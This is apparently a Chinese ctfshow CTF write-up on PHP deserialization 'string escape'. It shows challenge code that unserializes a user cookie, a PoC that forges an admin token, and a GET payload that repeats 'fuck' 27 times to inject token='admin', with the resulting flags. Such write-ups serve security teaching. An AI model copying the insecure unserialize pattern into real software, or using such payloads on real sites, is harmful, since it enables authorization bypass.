PHP/5.6.40字符逃逸
index.php

  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date: 2020-12-03 02:37:19
  6. # @Last Modified by: h1xa
  7. # @Last Modified time: 2020-12-03 16:05:38
  8. # @message.php
  9. # @email: h1xa@ctfer.com
  10. # @link: https://ctfer.com
  11. */
  12. error_reporting(0);
  13. class message{
  14. public $from;
  15. public $msg;
  16. public $to;
  17. public $token='user';
  18. public function __construct($f,$m,$t){
  19. $this->from = $f;
  20. $this->msg = $m;
  21. $this->to = $t;
  22. }
  23. }
  24. $f = $_GET['f'];
  25. $m = $_GET['m'];
  26. $t = $_GET['t'];
  27. if(isset($f) && isset($m) && isset($t)){
  28. $msg = new message($f,$m,$t);
  29. $umsg = str_replace('fuck', 'loveU', serialize($msg));
  30. setcookie('msg',base64_encode($umsg));
  31. echo 'Your message has been sent';
  32. }
  33. highlight_file(__FILE__);

看注释发现 message.php

  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date: 2020-12-03 15:13:03
  6. # @Last Modified by: h1xa
  7. # @Last Modified time: 2020-12-03 15:17:17
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. highlight_file(__FILE__);
  12. include('flag.php');
  13. class message{
  14. public $from;
  15. public $msg;
  16. public $to;
  17. public $token='user';
  18. public function __construct($f,$m,$t){
  19. $this->from = $f;
  20. $this->msg = $m;
  21. $this->to = $t;
  22. }
  23. }
  24. if(isset($_COOKIE['msg'])){
  25. $msg = unserialize(base64_decode($_COOKIE['msg']));
  26. if($msg->token=='admin'){
  27. echo $flag;
  28. }
  29. }

第一种做法

poc

  1. <?php
  2. class message{
  3. public $token='admin';
  4. }
  5. $msg = new message();
  6. echo(base64_encode(serialize($msg)));
  7. ?>

image.png
flag
ctfshow{fb549105-65ee-4b60-99bb-7cc6ed9dd9d9}

第二种做法

因有一个正则替换,注意是序列化后再替换,且替换每次内容长度增加1,假如输入 t=fuck"
image.png
我们输入的 " 刚刚好可以发前面闭合,也就是说,我们每输入一个 fuck,我们可控的内容就多出 1 个字符。
我们目的构造 $token="admin" 序列化长这样
image.png
s:5:"token";s:5:"admin";
加上闭合
";``s:5:"token";s:5:"admin";``}
长度为 27
image.png
也就是我们需要输入 27 个 fuck

poc

  1. /?f=6&m=6&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

image.png
image.png
flag
ctfshow{8800cd7c-cd8a-4cf3-9a6f-71965ce5a4a3}